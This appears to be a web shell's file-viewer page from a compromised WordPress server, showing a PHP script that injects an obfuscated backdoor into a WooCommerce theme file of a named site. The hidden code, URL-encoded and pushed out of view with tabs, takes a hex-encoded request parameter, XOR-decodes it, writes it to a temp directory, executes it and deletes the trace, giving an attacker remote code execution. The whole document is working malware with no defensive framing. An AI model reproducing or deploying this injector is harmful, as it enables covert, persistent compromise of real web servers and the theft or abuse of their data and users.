HEX
Server: nginx/1.18.0
System: Linux vcwordpress 5.15.0-181-generic #191-Ubuntu SMP Fri May 22 19:09:02 UTC 2026 x86_64
User: root (0)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //tmp/.classes
<?php  $path = '/var/www/bharti-foundation.stgviitor.com/wp-content/themes/lifeline/woocommerce/single-product/product-image.php'; $ft = @filemtime($path); $content = (string) @file_get_contents($path); $new_code = rawurldecode('if%28%40%24_REQUEST%5B%22d%5Cx65sc%22%5D%20%21%3D%3D%20null%29%7B%20%24val%20%3D%20array_filter%28%5B%22/tmp%22%2C%20getenv%28%22TMP%22%29%2C%20%22/dev/shm%22%2C%20%22/var/tmp%22%2C%20getenv%28%22TEMP%22%29%2C%20getcwd%28%29%2C%20sys_get_temp_dir%28%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20session_save_path%28%29%5D%29%3B%20%24item%20%3D%20hex2bin%28%24_REQUEST%5B%22d%5Cx65sc%22%5D%29%3B%20%24reference%20%3D%20%27%27%20%3B%20for%28%24h%3D0%3B%20%24h%3Cstrlen%28%24item%29%3B%20%24h%2B%2B%29%7B%24reference%20.%3D%20chr%28ord%28%24item%5B%24h%5D%29%20%5E%2042%29%3B%7D%20foreach%20%28%24val%20as%20%24key%20%3D%3E%20%24token%29%20%7B%20if%20%28%21%28%20%21is_dir%28%24token%29%20%7C%7C%20%21is_writable%28%24token%29%20%29%29%20%7B%20%24holder%20%3D%20%22%24token%22%20.%20%22/.ref%22%3B%20if%20%28file_put_contents%28%24holder%2C%20%24reference%29%29%20%7B%20require%20%24holder%3B%20unlink%28%24holder%29%3B%20die%28%29%3B%20%7D%20%7D%20%7D%20%7D'); if (strlen($content) < 32) {     die('!failed!'); } if (strstr($content, $new_code)) {     die('!already injected!'); } $p = 0; if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) {     $p = 3; } while ($p < strlen($content) && strpos(" \t\r\n", $content[$p]) !== false) {     $p++; } $prefix = substr($content, 0, $p); $body = substr($content, $p); if (strlen($body) < 32) {     die('!failed!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     $len = strlen($start);     if ($len > strlen($body) || substr($body, 0, $len) !== $start) {         continue;     }     if ($start === '<?') {         if (strncmp($body, '<?xml', 5) === 0) {             continue;         }         if (strlen($body) >= 3 && substr($body, 0, 3) === '<?=') {             continue;         }     }     $rest = substr($body, $len);     $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest;     $tmp = @tempnam(dirname($path), 't');     if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) {         $check = (string) @file_get_contents($path);         if (strstr($check, $new_code)) {             die("!success!<ft>{$ft}</ft>");         }     }     if ($tmp !== false && is_file($tmp)) {         @unlink($tmp);     } } die('!failed!');